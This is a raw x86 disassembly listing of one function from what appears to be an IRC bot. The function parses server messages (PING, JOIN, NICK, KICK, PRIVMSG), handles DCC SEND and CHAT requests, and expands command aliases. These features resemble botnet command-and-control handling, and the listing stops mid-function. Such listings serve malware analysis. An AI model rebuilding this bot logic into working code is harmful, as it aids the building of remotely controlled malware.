var_444 = byte ptr -444h
var_430 = byte ptr -430h
var_420 = byte ptr -420h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_3F8 = dword ptr -3F8h
var_3F4 = byte ptr -3F4h
var_3E8 = byte ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3C4 = byte ptr -3C4h
var_3A0 = byte ptr -3A0h
var_384 = byte ptr -384h
var_374 = byte ptr -374h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2D8 = word ptr -2D8h
var_2D6 = word ptr -2D6h
var_2D4 = dword ptr -2D4h
var_2C8 = byte ptr -2C8h
var_C8 = dword ptr -0C8h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_415D70
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_98], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C8], ebx
call sub_415570
push 1Bh
lea eax, [ebp+var_564]
push [ebp+arg_10]
push eax
call sub_416D40
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40D219
push esi
lea eax, [ebp+var_F9C]
push ebx
push eax
call sub_415570
dec esi
lea eax, [ebp+var_F9C]
push esi
push [ebp+arg_0]
push eax
call sub_416D40
lea eax, [ebp+var_F9C]
push offset asc_4365AC ; " :"
push eax
call sub_415AC0
mov [ebp+var_C], eax
lea eax, [ebp+var_F9C]
push esi
push eax
lea eax, [ebp+var_119C]
push eax
call sub_416D40
mov esi, offset asc_426A00 ; " "
lea eax, [ebp+var_119C]
push esi
push eax
call sub_416C98
add esp, 34h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+var_A8], 1Fh
loc_40CF28: ; CODE XREF: sub_40CE55+E7j
push esi
push ebx
call sub_416C98
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_40CF28
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40D219
cmp [ebp+var_90], ebx
jz loc_40D219
push 100h
lea eax, [ebp+var_A14]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40CF76: ; CODE XREF: sub_40CE55+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40CFA2
cmp byte ptr [eax], 2Dh
jnz short loc_40CFAA
cmp [eax+2], bl
jnz short loc_40CFAA
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A14], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40CFA2: ; CODE XREF: sub_40CE55+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40CF76
loc_40CFAA: ; CODE XREF: sub_40CE55+12Aj
; sub_40CE55+12Fj
cmp [ebp+var_9A1], bl
jz short loc_40CFB5
mov [ebp+var_8], edi
loc_40CFB5: ; CODE XREF: sub_40CE55+15Bj
cmp [ebp+var_9A6], bl
jz short loc_40CFC3
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40CFC3: ; CODE XREF: sub_40CE55+166j
cmp byte ptr [esi], 0Ah
jz short loc_40CFFD
push 7Fh
lea eax, [ebp+var_A94]
push esi
push eax
call sub_416D40
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_416D40
lea eax, [ebp+var_C4]
push offset dword_42F3F8
push eax
call sub_416C98
add esp, 20h
loc_40CFFD: ; CODE XREF: sub_40CE55+171j
push esi
push offset aPing ; "PING"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D04E
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_412D06
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40D0F2
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 10h
jmp loc_40D0F2
; ---------------------------------------------------------------------------
loc_40D04E: ; CODE XREF: sub_40CE55+1B7j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412B1A
push esi
push offset a005 ; "005"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412B1A
push esi
push offset a302 ; "302"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0B9
push offset a@_6 ; "@"
push [ebp+var_88]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D0F2
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_416D40
add esp, 0Ch
jmp short loc_40D0F2
; ---------------------------------------------------------------------------
loc_40D0B9: ; CODE XREF: sub_40CE55+238j
push esi
push offset a433 ; "433"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0F9
push ebx
push dword_4689AC
push dword_42C1A4
push [ebp+arg_10]
call sub_414433
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 1Ch
loc_40D0F2: ; CODE XREF: sub_40CE55+1D8j
; sub_40CE55+1F4j ...
mov eax, edi
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_40D0F9: ; CODE XREF: sub_40CE55+273j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 2
mov edi, 80h
loc_40D10B: ; CODE XREF: sub_40CE55+2DBj
lea eax, [ebp+var_A94]
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D128
mov [ebp+var_98], 1
loc_40D128: ; CODE XREF: sub_40CE55+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_40D10B
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D221
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40D157: ; CODE XREF: sub_40CE55+38Fj
cmp [esi], bl
jz loc_40D1DF
push 7Fh
lea eax, [ebp+var_A94]
push esi
push eax
call sub_416D40
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_40D1DF
cmp [ebp+var_88], ebx
jz short loc_40D1DF
push [ebp+var_88]
lea eax, [ebp+var_C4]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D1DF
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C8]
push offset dword_436538
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add esp, 20h
loc_40D1DF: ; CODE XREF: sub_40CE55+304j
; sub_40CE55+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40D157
push [ebp+var_88]
push [ebp+arg_10]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D219
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40D20E: ; CODE XREF: sub_40CE55+615j
; sub_40CE55+96Cj
push [ebp+arg_4]
call sub_412D06
loc_40D216: ; CODE XREF: sub_40CE55+51FEj
; sub_40CE55+521Bj ...
add esp, 10h
loc_40D219: ; CODE XREF: sub_40CE55+5Bj
; sub_40CE55+F1j ...
push 1
loc_40D21B: ; CODE XREF: sub_40CE55+5745j
pop eax
loc_40D21C: ; CODE XREF: sub_40CE55+29Fj
; sub_40CE55+2164j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D221: ; CODE XREF: sub_40CE55+2F2j
push esi
push offset aNick ; "NICK"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D377
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40D24A: ; CODE XREF: sub_40CE55+447j
lea eax, [ebp+var_A94]
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D297
lea eax, [ebp+var_A94]
push 21h
push eax
call sub_417080
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40D297
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_415C00
push [ebp+arg_1C]
push edi
call sub_415C10
add esp, 10h
mov edi, 80h
loc_40D297: ; CODE XREF: sub_40CE55+406j
; sub_40CE55+41Dj
add esi, edi
dec [ebp+arg_0]
jnz short loc_40D24A
lea eax, [ebp+var_C4]
test eax, eax
jz loc_40D219
cmp [ebp+arg_24], ebx
jz loc_40D219
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2DF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_416D40
add esp, 0Ch
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D2DF: ; CODE XREF: sub_40CE55+473j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D2E4: ; CODE XREF: sub_40CE55+4B0j
cmp [edi], bl
jz short loc_40D2FB
lea eax, [ebp+var_A94]
push eax
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D30C
loc_40D2FB: ; CODE XREF: sub_40CE55+491j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D2E4
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D30C: ; CODE XREF: sub_40CE55+4A4j
lea eax, [ebp+var_A94]
push 21h
push eax
call sub_417080
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40D219
push eax
call sub_415CF0
push [ebp+arg_24]
mov edi, eax
call sub_415CF0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40D219
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_4154E7
push ebx
lea eax, [ebp+var_4AC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: sub_40CE55+3DBj
push esi
push offset aPart ; "PART"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D399
push esi
push offset aQuit ; "QUIT"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3C0
loc_40D399: ; CODE XREF: sub_40CE55+531j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D39E: ; CODE XREF: sub_40CE55+569j
cmp [edi], bl
jz short loc_40D3B4
push [ebp+var_94]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D40E
loc_40D3B4: ; CODE XREF: sub_40CE55+54Bj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D39E
loc_40D3C0: ; CODE XREF: sub_40CE55+542j
push [ebp+var_90]
push offset a353 ; "353"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D46F
push [ebp+var_84]
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3F7
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40D3F7: ; CODE XREF: sub_40CE55+597j
push [ebp+var_84]
push offset dword_4364D8
loc_40D402: ; CODE XREF: sub_40CE55+5577j
; sub_40CE55+58F0j ...
call sub_40B1E1
pop ecx
loc_40D408: ; CODE XREF: sub_40CE55+5A05j
pop ecx
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D40E: ; CODE XREF: sub_40CE55+55Dj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset dword_4364A4
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
push [ebp+var_90]
push offset aPart ; "PART"
call sub_415910
add esp, 18h
test eax, eax
jnz loc_40D219
lea eax, [ebp+var_2C8]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40D20E
; ---------------------------------------------------------------------------
loc_40D46F: ; CODE XREF: sub_40CE55+57Fj
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_415910
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40D4C3
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D4C3
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
cmp dword_42C194, ebx
jz loc_41298E
loc_40D4C3: ; CODE XREF: sub_40CE55+634j
; sub_40CE55+646j
push [ebp+var_90]
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D649
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D649
mov eax, [ebp+var_88]
inc [ebp+var_84]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_AC], esi
loc_40D50A: ; CODE XREF: sub_40CE55+8B0j
; sub_40CE55+941j ...
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_436488
mov [ebp+arg_8], eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D943
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D801
cmp [ebp+var_98], ebx
jz loc_40D7D7
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_6FC]
push edi
push eax
call sub_4154E7
push [ebp+esi+var_88]
lea eax, [ebp+var_710]
push edi
push eax
call sub_4154E7
push [ebp+esi+var_84]
call sub_415A5F
mov [ebp+var_578], eax
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_5F8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_5F8]
push eax
lea eax, [ebp+var_6FC]
push eax
lea eax, [ebp+var_2C8]
push offset dword_436440
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 12h
push eax
call sub_414F93
add esp, 44h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40BAB4
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz loc_40D7C6
loc_40D633: ; CODE XREF: sub_40CE55+7F2j
cmp [ebp+var_568], ebx
jnz loc_40D7F9
push 32h
call dword_421060
jmp short loc_40D633
; ---------------------------------------------------------------------------
loc_40D649: ; CODE XREF: sub_40CE55+67Ej
; sub_40CE55+694j
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D662
mov [ebp+var_4], 1
loc_40D662: ; CODE XREF: sub_40CE55+804j
cmp [ebp+var_8C], ebx
jz loc_40D219
push (offset loc_4263DB+1)
push [ebp+var_8C]
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_40D689
cmp [ebp+var_4], ebx
jz short loc_40D695
loc_40D689: ; CODE XREF: sub_40CE55+82Dj
lea eax, [ebp+var_C4]
mov [ebp+var_8C], eax
loc_40D695: ; CODE XREF: sub_40CE55+832j
cmp [ebp+var_88], ebx
jz loc_40D219
inc [ebp+var_88]
jz short loc_40D6E1
cmp [ebp+arg_10], ebx
jz short loc_40D6E1
lea eax, [ebp+var_564]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_564]
push [ebp+var_88]
push eax
call sub_416ED0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40D6E7
; ---------------------------------------------------------------------------
loc_40D6E1: ; CODE XREF: sub_40CE55+852j
; sub_40CE55+857j
mov esi, [ebp+var_AC]
loc_40D6E7: ; CODE XREF: sub_40CE55+88Aj
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40D219
push edi
push offset dword_436434
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D50A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40D787
mov eax, dword_4689BC
mov eax, off_42C268[eax*4]
cmp [eax], bl
jz short loc_40D787
push eax
push ecx
push offset dword_436418
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add esp, 20h
cmp [ebp+var_98], ebx
jnz loc_40D219
push ebx
lea eax, [ebp+var_2C8]
push 1
push eax
push offset dword_4688C4
loc_40D777: ; CODE XREF: sub_40CE55+52F2j
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D787: ; CODE XREF: sub_40CE55+8BFj
; sub_40CE55+8CFj
push edi
push offset dword_4363F4
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D50A
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40D50A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_40D50A
push eax
push ecx
push offset dword_4363DC
jmp loc_40D20E
; ---------------------------------------------------------------------------
loc_40D7C6: ; CODE XREF: sub_40CE55+7D8j
call dword_421088
push eax
push offset dword_436390
jmp loc_40D92F
; ---------------------------------------------------------------------------
loc_40D7D7: ; CODE XREF: sub_40CE55+6FFj
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push [ebp+esi+var_8C]
push offset dword_43633C
push eax
call sub_4154E7
add esp, 10h
loc_40D7F9: ; CODE XREF: sub_40CE55+7E4j
; sub_40CE55+AA2j ...
push 1
pop esi
jmp loc_40EFAA
; ---------------------------------------------------------------------------
loc_40D801: ; CODE XREF: sub_40CE55+6F3j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D959
cmp [ebp+var_98], ebx
jz loc_40D923
push 13h
call sub_4151DB
test eax, eax
pop ecx
jnz loc_40D915
push [ebp+esi+var_88]
lea eax, [ebp+var_710]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
push [ebp+esi+var_84]
call sub_415A5F
mov [ebp+var_578], eax
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_5F8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset dword_436300
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 13h
push eax
call sub_414F93
add esp, 34h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40B551
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_40D907
loc_40D8F1: ; CODE XREF: sub_40CE55+AB0j
cmp [ebp+var_568], ebx
jnz loc_40D7F9
push 32h
call dword_421060
jmp short loc_40D8F1
; ---------------------------------------------------------------------------
loc_40D907: ; CODE XREF: sub_40CE55+A9Aj
call dword_421088
push eax
push offset dword_4362B8
jmp short loc_40D92F
; ---------------------------------------------------------------------------
loc_40D915: ; CODE XREF: sub_40CE55+9DDj
lea eax, [ebp+var_C4]
push eax
push offset dword_436274
jmp short loc_40D92F
; ---------------------------------------------------------------------------
loc_40D923: ; CODE XREF: sub_40CE55+9CDj
lea eax, [ebp+var_C4]
push eax
push offset dword_436230
loc_40D92F: ; CODE XREF: sub_40CE55+97Dj
; sub_40CE55+ABEj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40D943: ; CODE XREF: sub_40CE55+6D8j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42C19C
mov [edi], ecx
jnz loc_40D219
loc_40D959: ; CODE XREF: sub_40CE55+9C1j
mov edi, [edi]
push edi
push offset aNewshit ; "newshit"
mov [ebp+arg_8], edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412996
push edi
push offset aHi_0 ; "hi"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412996
cmp [ebp+var_98], ebx
jnz short loc_40D9AA
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
loc_40D9AA: ; CODE XREF: sub_40CE55+B39j
cmp [ebp+arg_28], ebx
jnz loc_41298E
xor edi, edi
cmp dword_42E7B8, ebx
jle loc_40DB56
mov [ebp+arg_20], offset dword_43E7C8
loc_40D9C8: ; CODE XREF: sub_40CE55+B92j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D9EE
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42E7B8
jl short loc_40D9C8
jmp loc_40DB56
; ---------------------------------------------------------------------------
loc_40D9EE: ; CODE XREF: sub_40CE55+B82j
push offset asc_4365AC ; " :"
push [ebp+arg_0]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D219
mov cl, byte_42C19C
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42C19C
mov [eax+3], cl
lea ecx, dword_43E7E0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_416D40
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40DA43: ; CODE XREF: sub_40CE55+C96j
push [ebp+arg_20]
lea eax, [ebp+var_A4]
push offset aD_1 ; "$%d-"
push eax
call sub_4154E7
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
test eax, eax
jz short loc_40DAAF
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40DAAF
lea eax, dword_43E7C8[edi]
push eax
call sub_415CF0
add [ebp+var_C], eax
pop ecx
jz short loc_40DAE1
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DAE1
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 0Ch
jmp short loc_40DAE1
; ---------------------------------------------------------------------------
loc_40DAAF: ; CODE XREF: sub_40CE55+C16j
; sub_40CE55+C1Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40DAE1
lea eax, [ebp+var_A4]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_416D40
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 18h
loc_40DAE1: ; CODE XREF: sub_40CE55+C2Fj
; sub_40CE55+C43j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40DA43
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40DAFE: ; CODE XREF: sub_40CE55+CF5j
push [ebp+arg_20]
lea eax, [ebp+var_A4]
push offset aD_0 ; "$%d"
push eax
call sub_4154E7
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
test eax, eax
jz short loc_40DB41
mov eax, [edi]
cmp eax, ebx
jz short loc_40DB41
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 0Ch
loc_40DB41: ; CODE XREF: sub_40CE55+CD1j
; sub_40CE55+CD7j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40DAFE
mov [ebp+var_C8], 1
loc_40DB56: ; CODE XREF: sub_40CE55+B66j
; sub_40CE55+B94j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42C19C
jz short loc_40DB6F
cmp [ebp+var_C8], ebx
jz loc_40DD54
loc_40DB6F: ; CODE XREF: sub_40CE55+D0Cj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_4099AA
lea eax, [ebp+var_C4]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_4099AA
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_4099AA
push ebx
push ebx
lea eax, [ebp+var_A4]
push 2
push eax
call sub_414433
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4099AA
add esp, 40h
push [ebp+arg_14]
push offset aServer_2 ; "$server"
push edi
call sub_4099AA
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
loc_40DBE1: ; CODE XREF: sub_40CE55+E78j
test eax, eax
jz loc_40DCD2
push edi
push [ebp+arg_0]
call sub_415AC0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A4]
push eax
call sub_416D40
lea eax, [ebp+var_A4]
push offset asc_4361E4 ; ")"
push eax
call sub_416C98
add esp, 1Ch
cmp [ebp+var_A4], 30h
jl short loc_40DC2D
cmp [ebp+var_A4], 39h
jle short loc_40DC43
loc_40DC2D: ; CODE XREF: sub_40CE55+DCDj
push 3
lea eax, [ebp+var_A4]
push offset a63 ; "63"
push eax
call sub_416D40
add esp, 0Ch
loc_40DC43: ; CODE XREF: sub_40CE55+DD6j
lea eax, [ebp+var_A4]
push eax
call sub_415A5F
test eax, eax
pop ecx
jle short loc_40DC66
lea eax, [ebp+var_A4]
push eax
call sub_415A5F
pop ecx
mov [ebp+var_14], al
jmp short loc_40DC77
; ---------------------------------------------------------------------------
loc_40DC66: ; CODE XREF: sub_40CE55+DFDj
call sub_415543
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40DC77: ; CODE XREF: sub_40CE55+E0Fj
lea eax, [ebp+var_A4]
mov [ebp+var_13], bl
push eax
call sub_415CF0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A4]
push ebx
push eax
call sub_415570
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A4]
push [ebp+arg_10]
push eax
call sub_416D40
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
push edi
push [ebp+arg_0]
call sub_415AC0
add esp, 30h
jmp loc_40DBE1
; ---------------------------------------------------------------------------
loc_40DCD2: ; CODE XREF: sub_40CE55+D8Ej
mov edi, 1FFh
lea eax, [ebp+var_F9C]
push edi
push [ebp+arg_0]
push eax
call sub_416D40
lea eax, [ebp+var_F9C]
push edi
push eax
lea eax, [ebp+var_119C]
push eax
call sub_416D40
lea eax, [ebp+var_119C]
push offset asc_426A00 ; " "
push eax
call sub_416C98
add esp, 20h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+arg_10], 1Fh
loc_40DD22: ; CODE XREF: sub_40CE55+EE2j
push offset asc_426A00 ; " "
push ebx
call sub_416C98
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40DD22
mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40D219
add ecx, 3
mov [eax], ecx
loc_40DD54: ; CODE XREF: sub_40CE55+D14j
mov edi, [ebp+esi+var_94]
push edi
